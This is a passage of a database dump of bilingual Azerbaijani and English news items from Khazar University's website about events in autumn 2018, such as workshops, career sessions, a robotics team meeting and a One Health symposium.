Hajiyeva explained how to work in the reading-hall to the students. Rafiga Korenkova, Head of the lab, made the students familiar with the lab. Moreover, lab workers demonstrated newspaper restoration process.</p>'),(6190,3524,'az','AREA direktoru və “Killshot” komandası Hamlet İsaxanlı ilə görüşdü','2018-ci il oktyabrın 12-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor...','<p>2018-ci il oktyabrın 12-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan Robotiks və Mühəndislik Akademiyasının direktoru Rəhman Rəsulzadə və Xəzər Universitetinin robotiks üzrə komandası “Killshot” ilə görüşdü.</p><p>Görüş zamanı Professor İsaxanlı Azərbaycan II Robot Olimpiadasında qalib olmuş Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsinin Kompüter mühəndisliyi ixtisasının tələbələrindən ibarət (Məhəmməd Məmmədli, Vüsal İsmayılov, Rauf Hacıyev) “Killshot” komandasının yarışlara hazırlıq prosesini müzakirə etdi, onlara öz məsləhətlərini verdi&nbsp;və gələcək Dünya Robotiks Olimpiadasında uğurlar arzuladı.</p><p>Qeyd edək ki, 2018-ci il oktyabrın 6-da Əl Oyunları Sarayında 20 təhsil müəssisəsindən 54 komandanın iştirakı ilə 4 kateqoriya üzrə Azərbaycan II Robot Olimpiadası keçirilmişdi. Qaydalara əsasən bu yarışlarda qalib gələn komanda Azərbaycanı Tailandda keçiriləcək Dünya Robot Olimpiadasında təmsil etməyə haqq qazanır.</p>'),(6191,3524,'en','Head of AREA and the “Killshot” Team at the Meeting with Hamlet Isakhanli','On October 12, 2018, Prof. Hamlet Isakhanli, Khazar University founder and the Chairman of its Board of Directors...','<p>On October 12, 2018, Prof. Hamlet Isakhanli, Khazar University founder and the Chairman of its Board of Directors and Trustees, met with the Head of AREA (Azerbaijan Robotics and Engineering Academy) Rahman Rasulzada and the “Killshot” team of Khazar University on robotics.</p><p>During the meeting, Prof. Isakhanli discussed the preparation process of the Khazar University’s “Killshot” team, of School of Engineering and Applied Sciences’ students (Mahammad Mammadli, Vusal Ismayilov, Rauf Hajiyev) - winners of Azerbaijan’s II Robotics Olympiad, gave them advices and wished to participate successfully in the World Robotics Olympiad.</p><p>Note that Azerbaijan’s II Robotics Olympiad on 4 categories with participation of 54 teams from 20 educational institutions took place in Palace of Hand Games on October 6, 2018. According to the game rules, a winner team is entitled to represent Azerbaijan in World Robotics Olympiad to be held in the Kingdom of Thailand on November 16-18, 2018.</p>'),(6192,3525,'az','İqtisadi mövzuda seminar olacaq','2018-ci il oktyabr 21-də Xəzər Universitetinin şəhər mərkəzində yerləşən korpusundakı Fikrət Əmirov...','<p>2018-ci il oktyabr 21-də Xəzər Universitetinin şəhər mərkəzində yerləşən korpusundakı (B.Səfəroğlu küç. 122) Fikrət Əmirov Konfrans-konsert mərkəzində İqtisadiyyat və Menecment fakültəsi və Milli Mühasiblər Forumunun əməkdaşlığı ilə seminar keçiriləcək. Mühasibat uçotu sahəsində təhsil alan və işləyən insanların maarifləndirilməsi məqsədilə keçirilən seminar “Xərclərin və məsrəflərin maliyyə uçotu və standartlar üzrə təsnifləşdirilməsi, bölünməsi metodu, ikili yazılışların verilməsi və bu sahədə mövcud praktik problemlərin həlli” mövzusunda olacaq.</p><p>100-dən çox şirkətin mühasiblərinin iştirak etməsi planlaşdırılan seminarda tələbə və müəllimlər üçün də səmərəli müzakirə, fikir mübadiləsinə səbəb olacaq. Ətraflı məlumat və qeydiyyat üçün Dr. Elsevər İbadova (<a href=\"mailto:eibadov@khazar.org\">eibadov@khazar.org</a>) müraciət etmək olar.</p><p>Maraqlanan hər kəs tədbirdə iştirak edə bilər.</p><p><a href=\"http://www.khazar.org/files/events/iqtisadiyyat-poster.jpg\"></a><a href=\"http://www.khazar.org/files/events/iqtisadiyyat-poster.jpg\" target=\"_blank\"><img src=\"http://www.khazar.org/files/events/iqtisadiyyat-poster.jpg\" style=\"border:0px  #0000ee;width:600px;height:425px;vertical-align:baseline\"></a>  <br></p>'),(6193,3525,'en','Workshop on an economic topic to be held','On October 21, 2018, on an organizational support of the School of Economy and Management and National Accountants...','<p>On October 21, 2018, on an organizational support of the School of Economy and Management and National Accountants Forum, a workshop will be organized in the Concert Hall named after Fikrat Amirov at Khazar University campus in the city centre (B.Safaroghlu 122). The aim of the workshop is to enlighten people studying and working in the sphere of accounting. The topic of the workshop is \"Classification of expenditure and costs through financial accounting and standards, issuing duplicates and solutions to current practical problems\".</p><p>It is expected that accountants from more than 100 companies will join the workshop which will also be of productive for instructors and students. For more information please contact Dr.Elsever Ibadov (<a href=\"mailto:eibadov@khazar.org\">eibadov@khazar.org</a>).</p><p>It is an open workshop.</p>\r\n<p><a href=\"http://www.khazar.org/files/events/iqtisadiyyat-poster.jpg\"></a><a href=\"http://www.khazar.org/files/events/iqtisadiyyat-poster.jpg\" target=\"_blank\"><img src=\"http://www.khazar.org/files/events/iqtisadiyyat-poster.jpg\" style=\"border:0px  #0000ee;width:600px;height:425px;vertical-align:baseline\"></a>  <br></p>'),(6194,3526,'az','“Tədrisin keyfiyyəti” adlı seminar keçiriləcək','2018-ci il oktyabrın 23-ü saat 15:00-da Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı...','<p>2018-ci il oktyabrın 23-ü saat 15:00-da Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı ilə Təhsil fakültəsinin müəllimi, Fulbright professoru Qaisar Sultananın təqdimatında “<em>Tədrisin keyfiyyəti</em>” adlı seminar keçirilməsi nəzərdə tutulur. Seminar “Neftçilər” kampusu Ömürboyu Təhsil Mərkəzində (Yeni Bina, 5-ci mərtəbə) keçiriləcək.</p><p>Hər kəs seminarda iştiraka dəvət olunur.</p><p>Qeyd edək ki, bu təlim Erasmus Plus PETRA layihəsi (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP) çərçivəsində həyata keçirilir.</p>'),(6195,3526,'en','Workshop “Quality of education” to be held','On October 23, 2018, at 15:00, on joint organizational support of Center for Development of Khazar University and Center...','<p>On October 23, 2018, at 15:00, on joint organizational support of Development Office&nbsp;of Khazar University and Center for Training, Qaisar Sultana, Fulbright Professor and Instructor of the School of Education, will conduct a workshop in Teaching and&nbsp;Learning Center&nbsp;at “Neftchiler” campus (New Building, 5<sup>th</sup> floor).</p><p>The workshop is held within Erasmus+ PETRA project (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP).</p><p>It is an open workshop.</p>'),(6196,3527,'az','Xəzər Universitetinin müəllimi fəxri diploma layiq görüldü','“XXI əsrin ziyalıları” Xeyriyyə İctimai Birliyi Xəzər Universitetinin müəllimi Pərviz Nəsirovu fəaliyyətindəki uğurlarına...','<p>“XXI əsrin ziyalıları” Xeyriyyə İctimai Birliyi Xəzər Universitetinin müəllimi Pərviz Nəsirovu fəaliyyətindəki uğurlarına görə “Əsrin ziyalısı –ən yaxşı həkim” fəxri diplomuna layiq görmüşdür.</p>'),(6197,3527,'en','Khazar University Instructor is awarded Honorary Diploma','“Intellectuals of XXI century” Charity Public Union awarded “Intellectual of the century – the best doctor” Honorary...','<p style=\"background:undefined \">“Intellectuals of XXI century” Charity Public Union awarded “Intellectual of the century – the best doctor” Honorary Diploma to Parviz Nasirov, a Khazar University Instructor.</p>'),(6198,3528,'az','Fulbright alimi Xəzər Universitetində seminar/təlim verdi','2018-ci il oktyabrın 11-də Xəzər Universitetinin Tədqiqata Dəstək Mərkəzinin təşkilatçılığı ilə Çikaqo Universitetinin...','<p>2018-ci il oktyabrın 11-də Xəzər Universitetinin Tədqiqata Dəstək Mərkəzinin təşkilatçılığı ilə Çikaqo Universitetinin (ABŞ) Fulbright alimi professor Nadeem Fazal “<em>Konfrans və ya məqalə üçün elmi xülasəni necə yazmalı”</em> mövzusunda seminar/təlim verdi.</p><p>Seminarda Xəzər Universitetinin digər Fulbright alimləri, Ph.D. və magistr tələbələr, tədqiqatçılar və kitabxana əməkdaşları iştirak edirdilər.</p>'),(6199,3528,'en','American Fulbright Scholar Gives a Seminar/Workshop at Khazar University','On October 11, 2018, Fulbright Scholar from Chicago State University (USA), Professor Nadeem Fazal gave...','<p>On October 11, 2018, Fulbright Scholar from Chicago State University (USA), Professor Nadeem Fazal gave a seminar/workshop on \"<em>How to write an Abstract for a conference or a paper</em>\", conducted by Khazar University Research Support Center.</p><p>Ph.D. and Master students, other Fulbright scholars, researchers and library staff attended the seminar.</p>'),(6200,3529,'az','Doktorantın məqaləsi çap olundu','2018-ci il iyulun 16-da Xəzər Universitetinin german dilləri ixtisasında təhsil alan doktorant...','<p>2018-ci il iyulun 16-da Xəzər Universitetinin german dilləri ixtisasında təhsil alan doktorant Gülnur Nəbiyevanın “<em><strong><a href=\"/files/letters/gulnur_nabiyeva_article.pdf\">Leksik dil birləşmələrində dəyişiklik problemi (İngilis dilinin materialları nümunəsində)</a></strong></em>” mövzusunda məqaləsi <a href=\"http://sciphilology.ru/\">http://sciphilology.ru/</a> veb-saytında çap olunmuşdur.&nbsp;</p><p>Məqalənin nəşri haqqında məlumatla bu link vasitəsilə tanış olmaq olar:&nbsp;</p><p><a href=\"http://sciphilology.ru/f/spisok_avtorov_philology_no_4_16_iyul_0.pdf\">http://sciphilology.ru/f/spisok_avtorov_philology_no_4_16_iyul_0.pdf</a>.</p>'),(6232,3547,'en','A presentation of PAWER project','On October 19, 2018, within Erasmus+ project “Promoting Migration Studies in Higher Education” (PROMIG...','<p>On October 19, 2018, within Erasmus+ project “Promoting Migration Studies in Higher Education” (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) and on an organizational support of the School of Economics and Management, Center for Development, and Training Center, a one-day conference “Migration and sustainable development” was held at Khazar University.</p><p>Raziya Isayeva, Director of the Center for Development, provided information about Erasmus+ PAWER project (Paving the way to interregional mobility and ensuring relevance, quality and equity of access) to the participants. Khazar University is a partner university within the project.</p><p>The aim of the conference was to disseminate information about the project achievements. Representatives from Azerbaijan University of Languages, Azerbaijan State Pedagogical University, Western Caspian University, Azerbaijan Technical University, Azerbaijan University of Cooperation, Baku Slavic University and Azerbaijan State Oil and Industrial University also participated in the conference.</p>'),(6318,3593,'en','Presentations on “Establishing a tourism entity on the base of a historical building” is held','On October 21, 2018, the first-year students of the School of Economics and Management...','<p>On October 21, 2018, the first-year students of the School of Economics and Management of Khazar University, delivered presentations on the topic of “Establishing a tourism entity on the base of a historical building”. Sabuhi Ahmadov, PhD in History and Instructor of the Department of History and Archaeology, suggested that a project should be designed on transforming Ramani castle, a unique Medieval monument, into a tourism entity. Students presented ideas with regard to creating a touristic infrastructure and a museum exposition in the castle as well as financial issues and PR campaign.</p><p>The students underlined some special points along with general aspects of the issue. Kanan Ismayilov noted that a shuttle service to the monument needs to be arranged. Aytan Isayeva and Fatima Valizadeh, who had taken photos of the monument, suggested reconstructing the monument and providing visitors with a professional guide and added that a show like “Ford Bayard” should be held in order to attract more attention to the castle. Upon visiting the monument, Jeyhun Safaraliyev and Parviz Zulfugarov proposed establishing a park around the monument as well as an exposition on a military history in the castle. Through social network and websites, Jeyhun and Parviz had gained some information about the impression of foreigners. Ramil Sayidov underlined that it was important to promote the castle through PR campaigns and promotion videos.</p><p>Considering the fact that the castle has been used as a set for shooting movies, Elchin Hamidov suggested putting relevant stands in the monument. Considering restricted interior of the castle, Gulnar Gasimli proposed using 3D virtual reality glasses. Nariman Rasulov considered establishing restaurants with national concepts in and around the castle. Considering the highland position of the castle, Rufat Shirvanli and Mehti Gambarov, suggested building ancient style hotels nearby and establishing a souvenir market around the monument.</p>'),(6319,3594,'az','Xəzər Universiteti Ətraf Mühitin Tədqiqi Mərkəzi Azərbaycanı təmsil edir','“Mountain partnership” adlı beynəlxalq qurum Xəzər Universiteti Ətraf Mühitin...','<p>“Mountain partnership” adlı beynəlxalq qurum Xəzər Universiteti Ətraf Mühitin Tədqiqi Mərkəzinin (Environmental Research Centre) Azərbaycan üzrə təmsilçi olduğu barədə məlumat paylaşmışdır.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://www.fao.org/mountain-partnership/members/members-detail/en/c/42855/\">http://www.fao.org/mountain-partnership/members/members-detail/en/c/42855/</a>.</p>'),(6233,3548,'az','.','',''),(6234,3548,'en','.','',''),(6336,3602,'en','Hamlet Isakhanli as the Guest of “5th Element”','On November 5, 2018, Professor Hamlet Isakhanli, the founder of Khazar University...','<p>On November 5, 2018, Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was the guest of the “5<sup>th</sup> Element” - a program broadcast on ATV channel.</p><p>During the program, discussions were held on Professor Isakhanli\'s creativity, his views on education and life.</p><p>To watch the program, please click the following link:</p><p><a href=\"https://www.youtube.com/watch?v=iuNWAgl8OsM\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\" previewinformation=\"1\">https://www.youtube.com/watch?v=iuNWAgl8OsM</a><br></p>'),(6235,3549,'az','KPMG şirkəti “İşgüzar görüş” keçirəcək','2018-ci il oktyabrın 23-ü saat 17:00-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə...','<p><a href=\"/files/events/kpmg-poster.jpg\"><img src=\"/files/events/kpmg-poster.jpg\" style=\"float:left;width:200px;height:140px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a>2018-ci il oktyabrın 23-ü saat 17:00-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə KPMG şirkəti ilə “İşgüzar görüş” keçiriləcək. Təlim “Neftçilər” kampusu Ömürboyu Təhsil Mərkəzində (Yeni bina, 5-ci mərtəbə) keçiriləcək.</p><p>Təlim Xəzər Universitetinin tələbələri üçün nəzərdə tutulmuşdur.</p>'),(6236,3549,'en','KPMG holds “Business meeting”','On October 23, 2018, at 17:00, on initiatives of Career Center at Khazar University...','<p><a href=\"/files/events/kpmg-poster.jpg\"><img src=\"/files/events/kpmg-poster.jpg\" style=\"float:left;width:200px;height:140px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a>On October 23, 2018, at 17:00, on initiatives of Career Center at Khazar University, KPMG is to hold&nbsp;“Business meeting” in Lifelong Learning Room (new building, 5<sup>th</sup> floor) at “Neftchiler” campus.</p><p>The workshop is for Khazar University students.</p>'),(6237,3550,'az','“Mock Interview” adlı təlim keçiriləcək','2018-ci il oktyabrın 22-si saat 14:30-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü...','<p>2018-ci il oktyabrın 22-si saat 14:30-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə “<em>Mock Interview</em>” adlı təlim keçiriləcək. Təlim “Neftçilər” kampusu Ömürboyu Təhsil Mərkəzində (Yeni bina, 5-ci mərtəbə) keçiriləcək.</p><p>Təlim Xəzər Universitetinin tələbələri üçün nəzərdə tutulmuşdur.</p>'),(6238,3550,'en','Workshop “Mock Interview”','On October 22, 2018, at 14:00, on initiatives of Career Center at Khazar University, a workshop...','<p>On October 22, 2018, at 14:00, on initiatives of Career Center at Khazar University, a workshop “<em>Mock Interview</em>” will be held in Lifelong Learning Room (new building, 5<sup>th</sup> floor) at “Neftchiler” campus.</p><p>The workshop is for Khazar University students.</p>'),(6239,3551,'az','“Study in U.S.: Visa Procedures” mövzusunda tədbir olacaq','2018-ci il oktyabrın 26-sı saat 14:00-da Xəzər universitetinin Karyera Mərkəzinin təşəbbüsü ilə...','<p>2018-ci il oktyabrın 26-sı saat 14:00-da Xəzər universitetinin Karyera Mərkəzinin təşəbbüsü ilə “<em>Study in U.S.:&nbsp;Visa Procedures</em>” mövzusunda tədbir keçiriləcək. Tədbir “Neftçilər” kampusu Ömürboyu Təhsil Mərkəzində (Yeni bina, 5-ci mərtəbə) keçiriləcək.</p><p>Təlim Xəzər Universitetinin tələbələri üçün nəzərdə tutulmuşdur.</p>'),(6240,3551,'en','Workshop “Study in U.S.: Visa Procedures” to be held','On October 26, 2018, at 14:00, on initiatives of Career Center at Khazar University, a Workshop...','<p>On October 26, 2018, at 14:00, on initiatives of Career Center at Khazar University, a Workshop “<em>Study in U.S.:&nbsp;Visa Procedures</em>” will be held in Lifelong Learning Room (new building, 5<sup>th</sup> floor) at “Neftchiler” campus.</p><p>The workshop is for Khazar University students.</p>'),(6241,3552,'az','Psixologiya departamentinin əməkdaşı Ankarada təlimlərdə oldu','2018-ci il oktyabrın 13-dən 16-dək Xəzər Universitetinin Psixologiya departamentinin koordinatoru...','<p>2018-ci il oktyabrın 13-dən 16-dək Xəzər Universitetinin Psixologiya departamentinin koordinatoru, Xəzər Psixoloji Xidmət Mərkəzinin direktoru psixoloq Mələk Kərimova Türkiyənin Ankara şəhərində Koqnitiv Davranış Terapiyalar Dərnəyinin təşkil etdiyi “KDT-da üst səviyyə konsultativ bacarıqlar” təlimində iştirak etdi.</p><p>M.Kərimova, eyni zamanda, Koqnitiv Davranış Terapiyalar Dərnəyinin oktyabrın 18-dən 21-dək təşkil etdiyi 1-ci Beynəlxalq Koqnitiv Davranış Psixoterapiyalar Konfransında da “<em>Koqnitiv Davranış Terapiyasında Şərq hekayələrinin istifadə edilməsi</em>” mövzusunda tezis ilə çıxış etdi.</p><p>M.Kərimova konfransda İsveçdən professor Niklas Törneke, Ruminiyadan professor David Daniel, Birləşmiş Krallıqdan professor Satwant Singh, professor Cecilia Eccau, professor Paul Stallardın tam gün çalışma qruplarında iştirak etdi.</p>'),(6242,3552,'en','Associate of the Department of Psychology participates in a training in Ankara','On October 13-16, 2018, Melek Kerimova, Coordinator of the Department of Psychology of Khazar University...','<p>On October 13-16, 2018, Melek Kerimova, Coordinator of the Department of Psychology of Khazar University and Director of Khazar Psychological Center, participated in “High-level consultative skills for Cognitive Behaviour Therapy” organized by Cognitive Behaviour Therapies Foundation in Ankara, Turkey.</p><p>Moreover, Melek Kerimova delivered a report entitled “Use of Eastern stories in Cognitive Behaviour Therapy” in the 1<sup>st</sup> Cognitive Behaviour Therapy Psychology Conference organized by Foundation Cognitive Behaviour Therapy on 18-21 October.</p><p>Melek Kerimova also participated in one-day working groups led by Prof. Niklas Törneke, Sweden; Prof. David Daniel, Romania; Prof. Satwant Singh, Prof. Cecilia Eccau and Paul Stallard, UK.</p>'),(6243,3553,'az','“Uğursuzluqlardan uğurlara” adlı seminar olacaq','2018-ci il oktyabrın 30-u saat 9:00-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə...','<p>2018-ci il oktyabrın 30-u saat 9:00-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə “<em>Uğursuzluqlardan uğurlara</em>” adlı seminar keçiriləcək. Təlim “Neftçilər” kampusu Ömürboyu Təhsil Mərkəzində (Yeni bina, 5-ci mərtəbə) keçiriləcək.</p><p>Seminar Xəzər Universitetinin tələbələri üçün nəzərdə tutulmuşdur.</p><a href=\"/files/events/poster-ugurlar.jpg\"></a><a href=\"/files/events/poster-ugurlar.jpg\" target=\"_blank\"><img src=\"http://www.khazar.org/files/events/poster-ugurlar.jpg\" style=\"border:0px  #000000;float:left;width:250px;height:352px;margin-left:7px;margin-right:7px;margin-bottom:7px;vertical-align:text-bottom\"></a>'),(6244,3553,'en','A workshop “From Failure to Success”','On October 30, 2018, at 9:00, on initiatives of Career Center at Khazar University, a workshop...','<p>On October 30, 2018, at 9:00, on initiatives of Career Center at Khazar University, a workshop “<em>From failure to success</em>” will be held in Lifelong Learning Room (new building, 5<sup>th</sup> floor) at “Neftchiler” campus.</p><p>The workshop is for Khazar University students.</p>  \r\n<a href=\"/files/events/poster-ugurlar.jpg\"></a><a href=\"/files/events/poster-ugurlar.jpg\" target=\"_blank\"><img src=\"http://www.khazar.org/files/events/poster-ugurlar.jpg\" style=\"border:0px  #000000;float:left;width:250px;height:352px;margin-left:7px;margin-right:7px;margin-bottom:7px;vertical-align:text-bottom\"></a>'),(6341,3605,'az','“Xəzər”in əməkdaşları Nar festivalında iştirak etdilər','Noyabrın 3-4-də Göyçayda ənənəvi XIII Nar festivalı keçirilib...','<p>Noyabrın 3-4-də Göyçayda ənənəvi XIII Nar festivalı keçirilib. Dövlət və hökumət nümayəndələrinin, Milli Məclisin deputatlarının, xarici ölkələrin Azərbaycandakı səfirlərinin, beynəlxalq təşkilatların və diaspor nümayəndələrinin, yerli və xarici iş adamlarının iştirak etdikləri möhtəşəm nar bayramına Xəzər Universitetinin əməkdaşları da qatılmışdılar. Universitetin İnkişaf mərkəzinin təşkilatçılığı ilə təşkil olunan səfərdə İnkişaf mərkəzinin direktoru Raziyə İsayeva, Multimedia mərkəzinin direktoru Natella Barkaya, Keyfiyyətin təminatı mərkəzinin direktoru Lyudmila Sotova, Fulbrayt proqramı çərçivəsində “Xəzər”də qonaq mühazirəçi olan Qaisar Sultana, xarici mütəxəssis Ronald Wayne Smith və Multimedia mərkəzinin əməkdaşları iştirak edirdilər.</p><p>Xəzər Universitetinə məxsus geyimdə olan əməkdaşlar bayramda iştirak etməklə yanaşı, universitetin təbliği ilə də məşğul olmuş, iştirakçılara əyani vəsaitlər paylamışlar. Multimedia mərkəzinin 20-dək əməkdaşı festivalı geniş surətdə əks etdirən çoxlu çəkiliş aparmışlar.</p>'),(6342,3605,'en','Khazar University associates participate in Pomegranate Festival','On November 3 and 4, 2018, a traditional Goychay Pomegranate Festival was held...','<p>On November 3 and 4, 2018, a traditional Goychay Pomegranate Festival was held. A grand pomegranate holiday was attended by state and government figures, Members of Parliament, representatives of ambassadors of foreign countries to Azerbaijan, international organizations and the diaspora, local and foreign businessmen as well as associates of Khazar University. The trip of Khazar University delegation was organized by the Center for Development. The delegation consisted of Raziya Isayeva, Director of the Center for Development; Lyudmila Sotova, Director of the Center for Quality Assurance; Qaisar Sultana, a guest lecturer at Khazar University within Fulbright program; Ronald Wayne Smith, an international expert; Natella Barkaya, Director of the Center for Multimedia and associates of the Center for Multimedia.</p><p>Wearing clothes belonging to Khazar University, the delegation promoted university by distributing promo materials to people attending the festival. About 20 associates of the Center for Multimedia took many photos of the festival.</p>'),(6343,3606,'az','Xəzər Universitetində Dünya Tək Sağlamlıq Gününə həsr edilmiş simpozium keçirildi','2018-ci il noyabrın 2-də Xəzər Universitetində Dünya Tək Sağlamlıq Gününə həsr...','<p>2018-ci il noyabrın 2-də Xəzər Universitetində Dünya Tək Sağlamlıq Gününə həsr edilmiş simpozium keçirildi. Tədbirdə Azərbaycan Respublikasının Ekologiya və Təbii Sərvətlər Nazirliyi, Dövlət Ərzaq Təhlükəsizliyi Təşkilatı, Azərbaycanda Fragola-Hökumət Xidmətləri və British Medical Journal daxil olmaqla, müxtəlif təşkilatların nümayəndələri, Xəzər Universiteti Fulbright tədqiqatçısı, ABŞ-ın Eastern Kentucky Universitetinin Təhsil kollecinin professoru, Dr. Qaisar Sultana, 20-yə yaxın nümayəndə, həmçinin doktorant və könüllü tələbələr iştirak etdilər. Elmi işlər üzrə prorektor dosent İradə Xəlilova çıxış etdi. Simpoziumda tədqiqatçılar, Azərbaycan Respublikası Ekologiya və Təbii Sərvətlər Nazirliyinin nümayəndəsi və doktorant tələbələr tərəfindən 5 təqdimat edildi (Tədbirin gündəliyini&nbsp;<a href=\"/files/events/Second_World_OneHealth_Day_Simpozium.pdf\"><strong>bu link</strong></a>&nbsp;vasitəsilə yükləyə bilərsiniz).</p><p>Simpoziumda müzakirə edilən əsas məsələlər bunlar idi:</p><ul><li>Tək Sağlamlıq nədir?</li><li>Ümumi sağlamlıq və insan davranışı;</li><li>Ətraf mühitin çirklənməsinə qarşı elmi yanaşmalar;</li><li>Bərk tullantıların idarə edilməsinin ətraf mühitə təsiri.</li></ul><p>Hər bir təqdimat aktiv müzakirələr ilə aparıldı. Sonda tədbirin mühüm olması qeyd edildi və ümumi məqsədlərə nail olmaq üçün Tək Sağlamlığın əhəmiyyəti haqda məlumatların cəmiyyətə çatdırılmasının vacibliyi vurğulandı.</p><p>Xəzər Universitetində keçirilmiş simpozium Dünya Tək Sağlamlıq Komissiyasının rəsmi veb səhifəsində yayınlanmışdır:</p><p><a href=\"https://onehealthplatform.com/content/world-one-health-day-simposium\">https://onehealthplatform.com/content/world-one-health-day-simposium</a>.</p>'),(6344,3606,'en','“World One Health Day” symposium held at Khazar University','On November 2, 2018, the symposium dedicated to World One Health Day was held at Khazar...','<p>On November 2, 2018, the symposium dedicated to World One Health Day was held at Khazar University. About 20 experts from different organizations, including participants from the Ministry of Ecology and Natural Resources of Azerbaijan Republic, the State Food Safety Agency, Fragola - Government Services Azerbaijan, British Medical Journal, Khazar University visiting Fulbright scholar - Dr. Qaisar Sultana, Professor Emeritus at the College of Education of the Eastern Kentucky University of the USA, and as well as doctoral and volunteer students were attending the event. Assoc. Prof. Irada Khalilova, Vice-rector for Research of Khazar University, delivered an opening speech. There were 5 presentations delivered by researchers, members of the Ministry of Ecology and Natural Resources of Azerbaijan Republic, and PhD students (<strong><a href=\"http://www.khazar.org/files/events/Second_World_OneHealth_Day_Simpozium.pdf\">link to agenda</a></strong>).</p><ul><li>Main issues addressed at the symposium were as follows:</li><li>What is One Health?</li><li>General health and human behavior</li><li>Scientific approaches to Environmental pollution</li><li>Impact of Solid waste management on the Environment</li></ul><p>Each presentation was followed by active discussions. At the end of the symposium, it was noted about the significance of the event and importance of raising public awareness of One Health to achieve common goals.</p><p>The Symposium held at Khazar University was published on the official web page of the World One Health Commission:</p><p><a href=\"https://onehealthplatform.com/content/world-one-health-day-simposium\">https://onehealthplatform.com/content/world-one-health-day-simposium</a>.  </p>'),(6345,3607,'az','Xəzər Universiteti Yeni Dehlidə FICCI Ali Təhsil Zirvəsində','2018-ci il oktyabrın 30-dan noyabrın 1-dək Hindistanın Nyu Dehli şəhərində keçirilmiş...','<p>2018-ci il oktyabrın 30-dan noyabrın 1-dək Hindistanın Nyu Dehli şəhərində keçirilmiş 14-cü FICCI (Hindistan Ticarət və Sənaye Palataları Federasiyası) Ali Təhsil Zirvəsində Xəzər Universitetinin Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova Azərbaycan nümayəndə heyətinin tərkibində iştirak etdi.</p><p>FICCI Ali Təhsil Zirvəsi-2018 –Hindistan Ticarət və Sənaye Palataları Federasiyasının Hindistan hökuməti və İnsan Resursların İnkişafı Nazirliyi ilə birgə əməkdaşlığı çərçivəsində ali təhsil sahəsində təşkil olunmuş beynəlxalq sərgi və konfransdır. Zirvə ali təhsil sahəsində partnyorluq əlaqələrini və şəbəkəni genişləndirmək üçün 40-dan çox ölkənin nümayəndələrini bir yerə toplamışdı.</p><p>Zirvədə Azərbaycandan, həmçinin, Azərbaycan Dövlət Pedaqoji Universiteti, Azərbaycan Dövlət Rəssamlıq Akademiyası, Azərbaycan Dövlət İqtisad Universiteti və ADA Universitetinin beynəlxalq əlaqələr şöbələrinin nümayəndələri, Təhsil Nazirliyinin Beynəlxalq əməkdaşlıq şöbəsinin əməkdaşı iştirak edirdilər.</p><p>Zirvədə Azərbaycan universitetlərindən olan nümayəndələr sərgidə iştirak edən yerli universitetlərlə görüşlər keçirdilər.</p>'),(6346,3607,'en','Khazar University at FICCI Higher Education Summit in New Delhi','On October 30 – November 1, 2018, the 14th FICCI Higher Education Summit...','<p>On October 30 –   November 1, 2018, the 14<sup>t</sup>h FICCI Higher Education Summit was held in New Delhi, India.</p>\r\n<p>\"FICCI Higher Education Summit 2018\" is an International Exhibition and Conference on</p><p>Higher Education jointly organized by the Ministry of Human Resource Development, Government of India and the Federation of Indian Chambers of Commerce and Industry. Summit brought together representatives of more than 40 countries for professional networking and partnership building.</p>\r\n<p>Ms. Turan Jafarova, Director of the International Affairs Office, was one of the six hosted delegates from Azerbaijan selected to participate in the summit. Other HEIs from Azerbaijan were represented by International Office staff members of State Pedagogical University, State Academy of Fine Arts, Azerbaijan State Economic University, and ADA University. Delegation from Azerbaijan also included a representative of the International Cooperation Department of the Ministry of Education.</p>\r\n<p>During the summit, representatives of Azerbaijani universities held meetings with local universities participating in the education fair. These one-on-one meetings allowed to discuss possible areas of future cooperation and lay a foundation for mutually beneficial partnership.</p>'),(6347,3608,'az','Xəzər Universiteti təhsilhaqqına görə neçənci yerdədir?','2018-ci il noyabrın 8-də Fed.az xəbər saytı Bakıda təhsilhaqqı ən yüksək olan 10...','<p>2018-ci il noyabrın 8-də <strong><em>Fed.az</em></strong> xəbər saytı Bakıda təhsilhaqqı ən yüksək olan 10 universitetin adını dərc etmişdir. Siyahıda Xəzər Universiteti də yer alır.</p><p>Daha ətraflı məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"http://fed.az/az/news/read/50527\">http://fed.az/az/news/read/50527</a>.</p>'),(6348,3608,'en','What is the position of Khazar University in terms of education fee?','On November 8, 2018, Fed.az posted the list of 10 universities in Baku with the highest education...','<p>On November 8, 2018, <strong><em>Fed.az</em></strong> posted the list of 10 universities in Baku with the highest education fee. Khazar University is also on the list.</p><p>The full article is available at:</p><p><a href=\"http://fed.az/az/news/read/50527\">http://fed.az/az/news/read/50527</a>.<br></p>'),(6349,3609,'az','Xəzər Universiteti Ərdəbil Tibbi Elmlər və Sağlıq Xidmətləri Universiteti ilə əməkdaşlığa başlayır','2018-ci il noyabrın 7-də Ərdəbil Tibbi Elmlər və Sağlıq Xidmətləri Universitetinin nümayəndə...','<p>2018-ci il noyabrın 7-də Ərdəbil Tibbi Elmlər və Sağlıq Xidmətləri Universitetinin nümayəndə heyəti Xəzər Universitetində səfərdə oldu. Nümayəndə heyəti rektor Dr. Qüdrət Axavan-Əkbəri, Beynəlxalq əlaqələr ofisinin direktoru Dr. Mojtaba Amani və Tədris işləri üzrə 